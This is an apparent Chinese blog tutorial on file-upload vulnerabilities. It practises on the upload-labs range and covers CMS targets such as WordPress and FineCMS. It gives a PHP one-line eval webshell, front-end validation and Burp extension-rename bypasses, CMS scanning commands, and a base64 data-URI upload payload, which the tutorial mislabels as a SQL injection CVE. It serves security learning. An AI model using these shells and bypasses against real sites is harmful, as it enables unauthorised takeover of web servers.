文件上传之基础过滤方式

利用思路来源以下方向:

  1. 什么是文件上传漏洞

有文件上传就可以测试是否有漏洞,关键看代码是否完备。

比如上网搜索相关的上传路径:inurl:upload.php

  1. 漏洞危害

自定义网站后门,获取网站权限,属于高危漏洞。

  1. 如何查找判断

黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。

白盒查找:通过源代码分析文件上传漏洞。

判断:通过抓包分析

网站的目录扫描:御剑,dir等工具(扫描本地的一个上传靶场地址:http://upload-labs:8082/

下载地址是:https://github.com/c0ny1/upload-labshttps://github.com/c0ny1/upload-labs

然后我去尝试扫描第一关(没有upload.php自然也就扫不出来):

4.网站应用功能

---上传头像、图片、会员中心、上传视频

  1. 注意事项以及应用说明

文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试

本地文件上传漏洞靶场环境搭建测试

  1. 第一关(本地前端验证)

2.尝试文件的上传(内容可以是一句话木马:<?php @eval($_POST['cmd']);?>,也可以直接PHP信息检测<?php phpinfo()?>)

3.查看上传的结果:上传1.php然后

提示:文件类型不正确,请重新上传!

4.查看本地前端源代码

复制代码
//定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";

这个代码很简单就可以绕过:

1.我可以直接删除或者禁用前端的这串代码,证明他的不存在,然后再去发送一个php文件就可以上传

2.bp抓包,修改后缀(上传一个1.jpg抓包修改成1.php)也能得到同样的效果

但是这里也有一个误区:

不是所有的情况都可以抓包,抓不了包的情况是:

  • 数据在浏览器内循环

  • 没有产生HTTP请求

  • 没有网络流量

  • BurpSuite无包可抓

尝试第一种方法上传文件:

复制代码
document.querySelector('form').onsubmit = null;

此时就能上传之前没有上传的1.php文件

尝试第二种方法上传文件:

php->png就行了

CMS 及 CVE 编号文件上传漏洞测试

CMS(内容管理系统)的文件上传漏洞测试是Web安全中的重要环节。

1. 信息收集阶段

识别CMS类
复制代码
# 使用工具识别CMS
whatweb http://target.com(kali)
复制代码
wpscan --url http://target.com  # WordPress
joomscan -u http://target.com   # Joomla
droopescan scan drupal -u http://target.com  # Drupal

2. 常见CMS上传漏洞点

WordPress
复制代码
# 常见上传路径
/wp-admin/media-new.php
/wp-admin/async-upload.php
/wp-content/uploads/
/wp-admin/plugin-install.php
Joomla
复制代码
/components/com_media/
/images/
/templates/
Drupal
复制代码
/admin/content/media
/user/[uid]/edit  # 头像上传

比如去找finecms文件漏洞的信息(Finecms SQL注入漏洞 (CVE-2018-6893)):

preg_match('/^(data:\s*image\/(\w+);base64,)/', file, result);

if ($result) {

ext = result[2]; // 获取图片类型作为扩展名

filename = time().'.'.ext;

// 保存文件...

}

发现正则表达式尝试绕过:data:image/php;base64,PD9waHAgcGhwaW5mbygpPz4==

这样抓包修改成把image/jpeg 改成image/php 然后加入正确的路径就可以得到数据

Weblogic简介(相当于Java开发的第三方应用)

---用于部署网站的第三方应用,相当于nginx,Apache等中间件,也类似于中间件存在文件上传漏洞。(WebLogic 后台弱⼝令GetShell(weak_password ))

相关推荐
BenSmith6 小时前
从零上手嵌入式 RTOS:以 Raspberry Pi Pico 2 WH 为例的烧录、定制构建与多系统对比指南
安全
汇智信科6 小时前
训练安全管理系统:赋能军消装备训练,实现全流程智能化管控
安全·训练安全管理·装备训练智能化·军事训练保障·消防训练管理
其实防守也摸鱼9 小时前
CTF密码学综合教学指南--第三章
开发语言·网络·python·安全·网络安全·密码学
其实防守也摸鱼9 小时前
CTF密码学综合教学指南--第四章
网络·笔记·安全·网络安全·密码学·ctf
DevilSeagull9 小时前
电脑上安装的服务会自动消失? 推荐项目: localhostSCmanager. 更好管理你的服务!
测试工具·安全·react·vite·localhost·hono·trpc
@insist12311 小时前
信息安全-防火墙技术演进全景:从代理NAT 到下一代及专项防火墙
网络·安全·web安全·软考·信息安全工程师·软件水平考试
不会编程的懒洋洋12 小时前
C# P/Invoke 基础
开发语言·c++·笔记·安全·机器学习·c#·p/invoke
时空系13 小时前
第10篇:归属权与借用——Rust的安全保障 Rust中文编程
开发语言·安全·rust
Chockmans14 小时前
春秋云境CVE-2017-3506
安全·web安全·网络安全·系统安全·安全威胁分析·春秋云境·cve-2017-3506
开开心心就好14 小时前
近200个工具的电脑故障修复合集
安全·智能手机·pdf·电脑·consul·memcache·1024程序员节